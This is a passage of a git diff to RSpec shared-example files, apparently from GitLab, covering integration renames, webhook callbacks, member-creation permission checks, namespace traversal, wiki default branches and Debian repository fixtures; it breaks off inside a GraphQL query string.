diff --git a/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb b/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
index 66448aca2c5..2d4c0b60f2b 100644
--- a/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb
@@ -8,7 +8,7 @@ RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
def execute_with_options(options)
receive(:new).with(webhook_url, options.merge(http_client: Integrations::SlackMattermostNotifier::HTTPClient))
- .and_return(double(:slack_service).as_null_object)
+ .and_return(double(:slack_integration).as_null_object)
end
describe "Associations" do
@@ -23,7 +23,7 @@ RSpec.shared_examples Integrations::SlackMattermostNotifier do |service_name|
end
it { is_expected.to validate_presence_of(:webhook) }
- it_behaves_like 'issue tracker service URL attribute', :webhook
+ it_behaves_like 'issue tracker integration URL attribute', :webhook
end
context 'when service is inactive' do
diff --git a/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb b/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb
index d23f95b2e9e..cf38a583944 100644
--- a/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb
+++ b/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb
@@ -122,6 +122,22 @@ RSpec.shared_examples 'value stream analytics stage' do
expect(stage.parent_id).to eq(parent.id)
end
end
+
+ describe '#hash_code' do
+ it 'does not differ when the same object is built with the same params' do
+ stage_1 = build(factory)
+ stage_2 = build(factory)
+
+ expect(stage_1.events_hash_code).to eq(stage_2.events_hash_code)
+ end
+
+ it 'differs when the stage events are different' do
+ stage_1 = build(factory, start_event_identifier: :merge_request_created, end_event_identifier: :merge_request_merged)
+ stage_2 = build(factory, start_event_identifier: :issue_created, end_event_identifier: :issue_first_mentioned_in_commit)
+
+ expect(stage_1.events_hash_code).not_to eq(stage_2.events_hash_code)
+ end
+ end
end
RSpec.shared_examples 'value stream analytics label based stage' do
diff --git a/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb b/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb
index 128999d02fa..e35ac9c0d0d 100644
--- a/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb
+++ b/spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb
@@ -66,14 +66,14 @@ RSpec.shared_examples Integrations::BaseSlashCommands do
}
end
- let(:service) do
- project.create_mattermost_slash_commands_service(
+ let(:integration) do
+ project.create_mattermost_slash_commands_integration(
properties: { token: 'token' }
)
end
it 'generates the url' do
- response = service.trigger(params)
+ response = integration.trigger(params)
expect(response[:text]).to start_with(':wave: Hi there!')
end
diff --git a/spec/support/shared_examples/models/integrations/has_web_hook_shared_examples.rb b/spec/support/shared_examples/models/integrations/has_web_hook_shared_examples.rb
new file mode 100644
index 00000000000..1fa340a0cf4
--- /dev/null
+++ b/spec/support/shared_examples/models/integrations/has_web_hook_shared_examples.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples Integrations::HasWebHook do
+ include AfterNextHelpers
+
+ describe 'callbacks' do
+ it 'calls #update_web_hook! when enabled' do
+ expect(integration).to receive(:update_web_hook!)
+
+ integration.active = true
+ integration.save!
+ end
+
+ it 'does not call #update_web_hook! when disabled' do
+ expect(integration).not_to receive(:update_web_hook!)
+
+ integration.active = false
+ integration.save!
+ end
+
+ it 'does not call #update_web_hook! when validation fails' do
+ expect(integration).not_to receive(:update_web_hook!)
+
+ integration.active = true
+ integration.project = nil
+ expect(integration.save).to be(false)
+ end
+ end
+
+ describe '#hook_url' do
+ it 'returns a string' do
+ expect(integration.hook_url).to be_a(String)
+ end
+ end
+
+ describe '#hook_ssl_verification' do
+ it 'returns a boolean' do
+ expect(integration.hook_ssl_verification).to be_in([true, false])
+ end
+ end
+
+ describe '#update_web_hook!' do
+ def call
+ integration.update_web_hook!
+ end
+
+ it 'creates or updates a service hook' do
+ expect { call }.to change(ServiceHook, :count).by(1)
+ expect(integration.service_hook.url).to eq(hook_url)
+
+ integration.service_hook.update!(url: 'http://other.com')
+
+ expect { call }.to change { integration.service_hook.reload.url }.from('http://other.com').to(hook_url)
+ end
+
+ it 'raises an error if the service hook could not be saved' do
+ call
+ integration.service_hook.integration = nil
+
+ expect { call }.to raise_error(ActiveRecord::RecordInvalid)
+ end
+
+ it 'does not attempt to save the service hook if there are no changes' do
+ call
+
+ expect(integration.service_hook).not_to receive(:save!)
+
+ call
+ end
+ end
+
+ describe '#execute_web_hook!' do
+ let(:args) { ['foo', [1, 2, 3]] }
+
+ def call
+ integration.execute_web_hook!(*args)
+ end
+
+ it 'creates the webhook if necessary and executes it' do
+ expect_next(ServiceHook).to receive(:execute).with(*args)
+ expect { call }.to change(ServiceHook, :count).by(1)
+
+ expect(integration.service_hook).to receive(:execute).with(*args)
+ expect { call }.not_to change(ServiceHook, :count)
+ end
+
+ it 'raises an error if the service hook could not be saved' do
+ expect_next(ServiceHook).to receive(:execute).with(*args)
+
+ call
+ integration.service_hook.integration = nil
+
+ expect(integration.service_hook).not_to receive(:execute)
+ expect { call }.to raise_error(ActiveRecord::RecordInvalid)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/issue_tracker_service_shared_examples.rb b/spec/support/shared_examples/models/issue_tracker_service_shared_examples.rb
index b275d594792..6d519e561ee 100644
--- a/spec/support/shared_examples/models/issue_tracker_service_shared_examples.rb
+++ b/spec/support/shared_examples/models/issue_tracker_service_shared_examples.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-RSpec.shared_examples 'issue tracker service URL attribute' do |url_attr|
+RSpec.shared_examples 'issue tracker integration URL attribute' do |url_attr|
it { is_expected.to allow_value('https://example.com').for(url_attr) }
it { is_expected.not_to allow_value('example.com').for(url_attr) }
diff --git a/spec/support/shared_examples/models/member_shared_examples.rb b/spec/support/shared_examples/models/member_shared_examples.rb
index 7ede6f0d8d4..c111d250d34 100644
--- a/spec/support/shared_examples/models/member_shared_examples.rb
+++ b/spec/support/shared_examples/models/member_shared_examples.rb
@@ -75,3 +75,259 @@ RSpec.shared_examples '#valid_level_roles' do |entity_name|
expect(presenter.valid_level_roles).to eq(expected_roles)
end
end
+
+RSpec.shared_examples_for "member creation" do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+
+ describe '#execute' do
+ it 'returns a Member object', :aggregate_failures do
+ member = described_class.new(source, user, :maintainer).execute
+
+ expect(member).to be_a member_type
+ expect(member).to be_persisted
+ end
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it 'sets members.created_by to the given admin current_user' do
+ member = described_class.new(source, user, :maintainer, current_user: admin).execute
+
+ expect(member.created_by).to eq(admin)
+ end
+ end
+
+ context 'when admin mode is disabled' do
+ it 'rejects setting members.created_by to the given admin current_user' do
+ member = described_class.new(source, user, :maintainer, current_user: admin).execute
+
+ expect(member.created_by).to be_nil
+ end
+ end
+
+ it 'sets members.expires_at to the given expires_at' do
+ member = described_class.new(source, user, :maintainer, expires_at: Date.new(2016, 9, 22)).execute
+
+ expect(member.expires_at).to eq(Date.new(2016, 9, 22))
+ end
+
+ described_class.access_levels.each do |sym_key, int_access_level|
+ it "accepts the :#{sym_key} symbol as access level", :aggregate_failures do
+ expect(source.users).not_to include(user)
+
+ member = described_class.new(source, user.id, sym_key).execute
+
+ expect(member.access_level).to eq(int_access_level)
+ expect(source.users.reload).to include(user)
+ end
+
+ it "accepts the #{int_access_level} integer as access level", :aggregate_failures do
+ expect(source.users).not_to include(user)
+
+ member = described_class.new(source, user.id, int_access_level).execute
+
+ expect(member.access_level).to eq(int_access_level)
+ expect(source.users.reload).to include(user)
+ end
+ end
+
+ context 'with no current_user' do
+ context 'when called with a known user id' do
+ it 'adds the user as a member' do
+ expect(source.users).not_to include(user)
+
+ described_class.new(source, user.id, :maintainer).execute
+
+ expect(source.users.reload).to include(user)
+ end
+ end
+
+ context 'when called with an unknown user id' do
+ it 'adds the user as a member' do
+ expect(source.users).not_to include(user)
+
+ described_class.new(source, non_existing_record_id, :maintainer).execute
+
+ expect(source.users.reload).not_to include(user)
+ end
+ end
+
+ context 'when called with a user object' do
+ it 'adds the user as a member' do
+ expect(source.users).not_to include(user)
+
+ described_class.new(source, user, :maintainer).execute
+
+ expect(source.users.reload).to include(user)
+ end
+ end
+
+ context 'when called with a requester user object' do
+ before do
+ source.request_access(user)
+ end
+
+ it 'adds the requester as a member', :aggregate_failures do
+ expect(source.users).not_to include(user)
+ expect(source.requesters.exists?(user_id: user)).to be_truthy
+
+ expect do
+ described_class.new(source, user, :maintainer).execute
+ end.to raise_error(Gitlab::Access::AccessDeniedError)
+
+ expect(source.users.reload).not_to include(user)
+ expect(source.requesters.reload.exists?(user_id: user)).to be_truthy
+ end
+ end
+
+ context 'when called with a known user email' do
+ it 'adds the user as a member' do
+ expect(source.users).not_to include(user)
+
+ described_class.new(source, user.email, :maintainer).execute
+
+ expect(source.users.reload).to include(user)
+ end
+ end
+
+ context 'when called with an unknown user email' do
+ it 'creates an invited member' do
+ expect(source.users).not_to include(user)
+
+ described_class.new(source, 'user@example.com', :maintainer).execute
+
+ expect(source.members.invite.pluck(:invite_email)).to include('user@example.com')
+ end
+ end
+
+ context 'when called with an unknown user email starting with a number' do
+ it 'creates an invited member', :aggregate_failures do
+ email_starting_with_number = "#{user.id}_email@example.com"
+
+ described_class.new(source, email_starting_with_number, :maintainer).execute
+
+ expect(source.members.invite.pluck(:invite_email)).to include(email_starting_with_number)
+ expect(source.users.reload).not_to include(user)
+ end
+ end
+ end
+
+ context 'when current_user can update member', :enable_admin_mode do
+ it 'creates the member' do
+ expect(source.users).not_to include(user)
+
+ described_class.new(source, user, :maintainer, current_user: admin).execute
+
+ expect(source.users.reload).to include(user)
+ end
+
+ context 'when called with a requester user object' do
+ before do
+ source.request_access(user)
+ end
+
+ it 'adds the requester as a member', :aggregate_failures do
+ expect(source.users).not_to include(user)
+ expect(source.requesters.exists?(user_id: user)).to be_truthy
+
+ described_class.new(source, user, :maintainer, current_user: admin).execute
+
+ expect(source.users.reload).to include(user)
+ expect(source.requesters.reload.exists?(user_id: user)).to be_falsy
+ end
+ end
+ end
+
+ context 'when current_user cannot update member' do
+ it 'does not create the member', :aggregate_failures do
+ expect(source.users).not_to include(user)
+
+ member = described_class.new(source, user, :maintainer, current_user: user).execute
+
+ expect(source.users.reload).not_to include(user)
+ expect(member).not_to be_persisted
+ end
+
+ context 'when called with a requester user object' do
+ before do
+ source.request_access(user)
+ end
+
+ it 'does not destroy the requester', :aggregate_failures do
+ expect(source.users).not_to include(user)
+ expect(source.requesters.exists?(user_id: user)).to be_truthy
+
+ described_class.new(source, user, :maintainer, current_user: user).execute
+
+ expect(source.users.reload).not_to include(user)
+ expect(source.requesters.exists?(user_id: user)).to be_truthy
+ end
+ end
+ end
+
+ context 'when member already exists' do
+ before do
+ source.add_user(user, :developer)
+ end
+
+ context 'with no current_user' do
+ it 'updates the member' do
+ expect(source.users).to include(user)
+
+ described_class.new(source, user, :maintainer).execute
+
+ expect(source.members.find_by(user_id: user).access_level).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+
+ context 'when current_user can update member', :enable_admin_mode do
+ it 'updates the member' do
+ expect(source.users).to include(user)
+
+ described_class.new(source, user, :maintainer, current_user: admin).execute
+
+ expect(source.members.find_by(user_id: user).access_level).to eq(Gitlab::Access::MAINTAINER)
+ end
+ end
+
+ context 'when current_user cannot update member' do
+ it 'does not update the member' do
+ expect(source.users).to include(user)
+
+ described_class.new(source, user, :maintainer, current_user: user).execute
+
+ expect(source.members.find_by(user_id: user).access_level).to eq(Gitlab::Access::DEVELOPER)
+ end
+ end
+ end
+ end
+
+ describe '.add_users' do
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+
+ it 'returns a Member objects' do
+ members = described_class.add_users(source, [user1, user2], :maintainer)
+
+ expect(members).to be_a Array
+ expect(members.size).to eq(2)
+ expect(members.first).to be_a member_type
+ expect(members.first).to be_persisted
+ end
+
+ it 'returns an empty array' do
+ members = described_class.add_users(source, [], :maintainer)
+
+ expect(members).to be_a Array
+ expect(members).to be_empty
+ end
+
+ it 'supports different formats' do
+ list = ['joe@local.test', admin, user1.id, user2.id.to_s]
+
+ members = described_class.add_users(source, list, :maintainer)
+
+ expect(members.size).to eq(4)
+ expect(members.first).to be_invite
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/project_ci_cd_settings_shared_examples.rb b/spec/support/shared_examples/models/project_ci_cd_settings_shared_examples.rb
new file mode 100644
index 00000000000..c92e819db19
--- /dev/null
+++ b/spec/support/shared_examples/models/project_ci_cd_settings_shared_examples.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'ci_cd_settings delegation' do
+ let(:exclude_attributes) { [] }
+
+ context 'when ci_cd_settings is destroyed but project is not' do
+ it 'allows methods delegated to ci_cd_settings to be nil', :aggregate_failures do
+ project = create(:project)
+ attributes = project.ci_cd_settings.attributes.keys - %w(id project_id) - exclude_attributes
+ project.ci_cd_settings.destroy!
+ project.reload
+ attributes.each do |attr|
+ method = project.respond_to?("ci_#{attr}") ? "ci_#{attr}" : attr
+ expect(project.send(method)).to be_nil, "#{attr} was not nil"
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'a ci_cd_settings predicate method' do |prefix: ''|
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:project) { create(:project) }
+
+ context 'when ci_cd_settings is nil' do
+ before do
+ allow(project).to receive(:ci_cd_settings).and_return(nil)
+ end
+
+ it 'returns false' do
+ expect(project.send("#{prefix}#{delegated_method}")).to be(false)
+ end
+ end
+
+ context 'when ci_cd_settings is not nil' do
+ where(:delegated_method_return, :subject_return) do
+ true | true
+ false | false
+ end
+
+ with_them do
+ let(:ci_cd_settings_double) { double('ProjectCiCdSetting') }
+
+ before do
+ allow(project).to receive(:ci_cd_settings).and_return(ci_cd_settings_double)
+ allow(ci_cd_settings_double).to receive(delegated_method).and_return(delegated_method_return)
+ end
+
+ it 'returns the expected boolean value' do
+ expect(project.send("#{prefix}#{delegated_method}")).to be(subject_return)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/wiki_shared_examples.rb b/spec/support/shared_examples/models/wiki_shared_examples.rb
index 2498bf35a09..bc5956e3eec 100644
--- a/spec/support/shared_examples/models/wiki_shared_examples.rb
+++ b/spec/support/shared_examples/models/wiki_shared_examples.rb
@@ -2,6 +2,7 @@
RSpec.shared_examples 'wiki model' do
let_it_be(:user) { create(:user, :commit_email) }
+
let(:wiki_container) { raise NotImplementedError }
let(:wiki_container_without_repo) { raise NotImplementedError }
let(:wiki_lfs_enabled) { false }
@@ -536,4 +537,98 @@ RSpec.shared_examples 'wiki model' do
expect(subject.hook_attrs.keys).to contain_exactly(:web_url, :git_ssh_url, :git_http_url, :path_with_namespace, :default_branch)
end
end
+
+ describe '#default_branch' do
+ subject { wiki.default_branch }
+
+ before do
+ allow(Gitlab::DefaultBranch).to receive(:value).and_return('main')
+ end
+
+ context 'when repository is not created' do
+ let(:wiki_container) { wiki_container_without_repo }
+
+ it 'returns the instance default branch' do
+ expect(subject).to eq 'main'
+ end
+ end
+
+ context 'when repository is empty' do
+ let(:wiki_container) { wiki_container_without_repo }
+
+ before do
+ wiki.repository.create_if_not_exists
+ end
+
+ it 'returns the instance default branch' do
+ expect(subject).to eq 'main'
+ end
+ end
+
+ context 'when repository is not empty' do
+ it 'returns the repository default branch' do
+ wiki.create_page('index', 'test content')
+
+ expect(subject).to eq wiki.repository.root_ref
+ end
+ end
+ end
+
+ describe '#create_wiki_repository' do
+ let(:head_path) { Rails.root.join(TestEnv.repos_path, "#{wiki.disk_path}.git", 'HEAD') }
+ let(:default_branch) { 'foo' }
+
+ before do
+ allow(Gitlab::CurrentSettings).to receive(:default_branch_name).and_return(default_branch)
+ end
+
+ subject { wiki.create_wiki_repository }
+
+ context 'when repository is not created' do
+ let(:wiki_container) { wiki_container_without_repo }
+
+ it 'changes the HEAD reference to the default branch' do
+ expect(wiki.empty?).to eq true
+
+ subject
+
+ expect(File.read(head_path).squish).to eq "ref: refs/heads/#{default_branch}"
+ end
+ end
+
+ context 'when repository is empty' do
+ let(:wiki_container) { wiki_container_without_repo }
+
+ it 'changes the HEAD reference to the default branch' do
+ wiki.repository.create_if_not_exists
+ wiki.repository.raw_repository.write_ref('HEAD', 'refs/heads/bar')
+
+ subject
+
+ expect(File.read(head_path).squish).to eq "ref: refs/heads/#{default_branch}"
+ end
+ end
+
+ context 'when repository is not empty' do
+ before do
+ wiki.create_page('index', 'test content')
+ end
+
+ it 'does nothing when HEAD points to the right branch' do
+ expect(wiki.repository.raw_repository).not_to receive(:write_ref)
+
+ subject
+ end
+
+ context 'when HEAD points to the wrong branch' do
+ it 'rewrites HEAD with the right branch' do
+ wiki.repository.raw_repository.write_ref('HEAD', 'refs/heads/bar')
+
+ subject
+
+ expect(File.read(head_path).squish).to eq "ref: refs/heads/#{default_branch}"
+ end
+ end
+ end
+ end
end
diff --git a/spec/support/shared_examples/namespaces/traversal_examples.rb b/spec/support/shared_examples/namespaces/traversal_examples.rb
index ccc64c80fd4..f09634556c3 100644
--- a/spec/support/shared_examples/namespaces/traversal_examples.rb
+++ b/spec/support/shared_examples/namespaces/traversal_examples.rb
@@ -12,16 +12,18 @@ RSpec.shared_examples 'namespace traversal' do
it "makes a recursive query" do
groups.each do |group|
- expect { group.public_send(recursive_method).load }.to make_queries_matching(/WITH RECURSIVE/)
+ expect { group.public_send(recursive_method).try(:load) }.to make_queries_matching(/WITH RECURSIVE/)
end
end
end
- describe '#root_ancestor' do
- let_it_be(:group) { create(:group) }
- let_it_be(:nested_group) { create(:group, parent: group) }
- let_it_be(:deep_nested_group) { create(:group, parent: nested_group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:nested_group) { create(:group, parent: group) }
+ let_it_be(:deep_nested_group) { create(:group, parent: nested_group) }
+ let_it_be(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+ let_it_be(:groups) { [group, nested_group, deep_nested_group, very_deep_nested_group] }
+ describe '#root_ancestor' do
it 'returns the correct root ancestor' do
expect(group.root_ancestor).to eq(group)
expect(nested_group.root_ancestor).to eq(group)
@@ -29,8 +31,6 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#recursive_root_ancestor' do
- let(:groups) { [group, nested_group, deep_nested_group] }
-
it "is equivalent to #recursive_root_ancestor" do
groups.each do |group|
expect(group.root_ancestor).to eq(group.recursive_root_ancestor)
@@ -40,12 +40,8 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#self_and_hierarchy' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
- let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
- let!(:another_group) { create(:group, path: 'gitllab') }
- let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
+ let!(:another_group) { create(:group) }
+ let!(:another_group_nested) { create(:group, parent: another_group) }
it 'returns the correct tree' do
expect(group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
@@ -54,18 +50,11 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#recursive_self_and_hierarchy' do
- let(:groups) { [group, nested_group, very_deep_nested_group] }
-
it_behaves_like 'recursive version', :self_and_hierarchy
end
end
describe '#ancestors' do
- let_it_be(:group) { create(:group) }
- let_it_be(:nested_group) { create(:group, parent: group) }
- let_it_be(:deep_nested_group) { create(:group, parent: nested_group) }
- let_it_be(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
-
it 'returns the correct ancestors' do
# #reload is called to make sure traversal_ids are reloaded
expect(very_deep_nested_group.reload.ancestors).to contain_exactly(group, nested_group, deep_nested_group)
@@ -75,18 +64,28 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#recursive_ancestors' do
- let(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
+ let_it_be(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
it_behaves_like 'recursive version', :ancestors
end
end
- describe '#self_and_ancestors' do
- let(:group) { create(:group) }
- let(:nested_group) { create(:group, parent: group) }
- let(:deep_nested_group) { create(:group, parent: nested_group) }
- let(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+ describe '#ancestor_ids' do
+ it 'returns the correct ancestor ids' do
+ expect(very_deep_nested_group.ancestor_ids).to contain_exactly(group.id, nested_group.id, deep_nested_group.id)
+ expect(deep_nested_group.ancestor_ids).to contain_exactly(group.id, nested_group.id)
+ expect(nested_group.ancestor_ids).to contain_exactly(group.id)
+ expect(group.ancestor_ids).to be_empty
+ end
+
+ describe '#recursive_ancestor_ids' do
+ let_it_be(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :ancestor_ids
+ end
+ end
+ describe '#self_and_ancestors' do
it 'returns the correct ancestors' do
expect(very_deep_nested_group.self_and_ancestors).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
expect(deep_nested_group.self_and_ancestors).to contain_exactly(group, nested_group, deep_nested_group)
@@ -95,19 +94,30 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#recursive_self_and_ancestors' do
- let(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
+ let_it_be(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
it_behaves_like 'recursive version', :self_and_ancestors
end
end
+ describe '#self_and_ancestor_ids' do
+ it 'returns the correct ancestor ids' do
+ expect(very_deep_nested_group.self_and_ancestor_ids).to contain_exactly(group.id, nested_group.id, deep_nested_group.id, very_deep_nested_group.id)
+ expect(deep_nested_group.self_and_ancestor_ids).to contain_exactly(group.id, nested_group.id, deep_nested_group.id)
+ expect(nested_group.self_and_ancestor_ids).to contain_exactly(group.id, nested_group.id)
+ expect(group.self_and_ancestor_ids).to contain_exactly(group.id)
+ end
+
+ describe '#recursive_self_and_ancestor_ids' do
+ let_it_be(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :self_and_ancestor_ids
+ end
+ end
+
describe '#descendants' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
- let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
- let!(:another_group) { create(:group, path: 'gitllab') }
- let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
+ let!(:another_group) { create(:group) }
+ let!(:another_group_nested) { create(:group, parent: another_group) }
it 'returns the correct descendants' do
expect(very_deep_nested_group.descendants.to_a).to eq([])
@@ -117,19 +127,13 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#recursive_descendants' do
- let(:groups) { [group, nested_group, deep_nested_group, very_deep_nested_group] }
-
it_behaves_like 'recursive version', :descendants
end
end
describe '#self_and_descendants' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
- let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
- let!(:another_group) { create(:group, path: 'gitllab') }
- let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
+ let!(:another_group) { create(:group) }
+ let!(:another_group_nested) { create(:group, parent: another_group) }
it 'returns the correct descendants' do
expect(very_deep_nested_group.self_and_descendants).to contain_exactly(very_deep_nested_group)
@@ -139,24 +143,18 @@ RSpec.shared_examples 'namespace traversal' do
end
describe '#recursive_self_and_descendants' do
- let(:groups) { [group, nested_group, deep_nested_group, very_deep_nested_group] }
+ let_it_be(:groups) { [group, nested_group, deep_nested_group] }
it_behaves_like 'recursive version', :self_and_descendants
end
end
describe '#self_and_descendant_ids' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
-
subject { group.self_and_descendant_ids.pluck(:id) }
- it { is_expected.to contain_exactly(group.id, nested_group.id, deep_nested_group.id) }
+ it { is_expected.to contain_exactly(group.id, nested_group.id, deep_nested_group.id, very_deep_nested_group.id) }
describe '#recursive_self_and_descendant_ids' do
- let(:groups) { [group, nested_group, deep_nested_group] }
-
it_behaves_like 'recursive version', :self_and_descendant_ids
end
end
diff --git a/spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb b/spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb
index 3cdba315d1f..4d142199c95 100644
--- a/spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb
+++ b/spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb
@@ -233,6 +233,7 @@ RSpec.shared_examples 'issuable quick actions' do
context 'when user can update issuable' do
let_it_be(:developer) { create(:user) }
+
let(:note_author) { developer }
before do
@@ -260,6 +261,7 @@ RSpec.shared_examples 'issuable quick actions' do
context 'when user cannot update issuable' do
let_it_be(:non_member) { create(:user) }
+
let(:note_author) { non_member }
it 'applies commands that user can execute' do
diff --git a/spec/support/shared_examples/quick_actions/issuable/time_tracking_quick_action_shared_examples.rb b/spec/support/shared_examples/quick_actions/issuable/time_tracking_quick_action_shared_examples.rb
index 92849ddf1cb..052fd0622d0 100644
--- a/spec/support/shared_examples/quick_actions/issuable/time_tracking_quick_action_shared_examples.rb
+++ b/spec/support/shared_examples/quick_actions/issuable/time_tracking_quick_action_shared_examples.rb
@@ -72,6 +72,24 @@ RSpec.shared_examples 'issuable time tracker' do |issuable_type|
end
end
+ it 'shows the time tracking report when link is clicked' do
+ submit_time('/estimate 1w')
+ submit_time('/spend 1d')
+
+ wait_for_requests
+
+ page.within '.time-tracking-component-wrap' do
+ click_link 'Time tracking report'
+
+ wait_for_requests
+ end
+
+ page.within '#time-tracking-report' do
+ expect(find('tbody')).to have_content maintainer.name
+ expect(find('tbody')).to have_content '1d'
+ end
+ end
+
it 'hides the help state when close icon is clicked' do
page.within '.time-tracking-component-wrap' do
find('.help-button').click
diff --git a/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb
index 0530aa8c760..1f68dd7a382 100644
--- a/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb
@@ -12,15 +12,17 @@ RSpec.shared_context 'Debian repository shared context' do |container_type, can_
let_it_be(:user, freeze: true) { create(:user) }
let_it_be(:personal_access_token, freeze: true) { create(:personal_access_token, user: user) }
- let_it_be(:private_distribution, freeze: true) { create("debian_#{container_type}_distribution", container: private_container, codename: 'existing-codename') }
+ let_it_be(:private_distribution, freeze: true) { create("debian_#{container_type}_distribution", :with_file, container: private_container, codename: 'existing-codename') }
let_it_be(:private_component, freeze: true) { create("debian_#{container_type}_component", distribution: private_distribution, name: 'existing-component') }
let_it_be(:private_architecture_all, freeze: true) { create("debian_#{container_type}_architecture", distribution: private_distribution, name: 'all') }
let_it_be(:private_architecture, freeze: true) { create("debian_#{container_type}_architecture", distribution: private_distribution, name: 'existing-arch') }
+ let_it_be(:private_component_file) { create("debian_#{container_type}_component_file", component: private_component, architecture: private_architecture) }
- let_it_be(:public_distribution, freeze: true) { create("debian_#{container_type}_distribution", container: public_container, codename: 'existing-codename') }
+ let_it_be(:public_distribution, freeze: true) { create("debian_#{container_type}_distribution", :with_file, container: public_container, codename: 'existing-codename') }
let_it_be(:public_component, freeze: true) { create("debian_#{container_type}_component", distribution: public_distribution, name: 'existing-component') }
let_it_be(:public_architecture_all, freeze: true) { create("debian_#{container_type}_architecture", distribution: public_distribution, name: 'all') }
let_it_be(:public_architecture, freeze: true) { create("debian_#{container_type}_architecture", distribution: public_distribution, name: 'existing-arch') }
+ let_it_be(:public_component_file) { create("debian_#{container_type}_component_file", component: public_component, architecture: public_architecture) }
if container_type == :group
let_it_be(:private_project) { create(:project, :private, group: private_container) }
@@ -40,14 +42,15 @@ RSpec.shared_context 'Debian repository shared context' do |container_type, can_
let(:visibility_level) { :public }
let(:distribution) { { private: private_distribution, public: public_distribution }[visibility_level] }
+ let(:architecture) { { private: private_architecture, public: public_architecture }[visibility_level] }
+ let(:component) { { private: private_component, public: public_component }[visibility_level] }
+ let(:component_file) { { private: private_component_file, public: public_component_file }[visibility_level] }
- let(:component) { 'main' }
- let(:architecture) { 'amd64' }
let(:source_package) { 'sample' }
let(:letter) { source_package[0..2] == 'lib' ? source_package[0..3] : source_package[0] }
let(:package_name) { 'libsample0' }
let(:package_version) { '1.2.3~alpha2' }
- let(:file_name) { "#{package_name}_#{package_version}_#{architecture}.deb" }
+ let(:file_name) { "#{package_name}_#{package_version}_#{architecture.name}.deb" }
let(:method) { :get }
diff --git a/spec/support/shared_examples/requests/api/graphql/noteable_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/noteable_shared_examples.rb
index 9cf5bc04f65..7e1f4500779 100644
--- a/spec/support/shared_examples/requests/api/graphql/noteable_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/graphql/noteable_shared_examples.rb
@@ -31,6 +31,28 @@ RSpec.shared_examples 'a noteable graphql type we can query' do
expect(graphql_data_at(*path_to_noteable, :discussions, :nodes))
.to match_array(expected)
end
+
+ it 'can fetch discussion noteable' do
+ create(discussion_factory, project: project, noteable: noteable)
+ fields =
+ <<-QL.strip_heredoc
+ discussions {
+ nodes {
+ noteable {
+ __typename
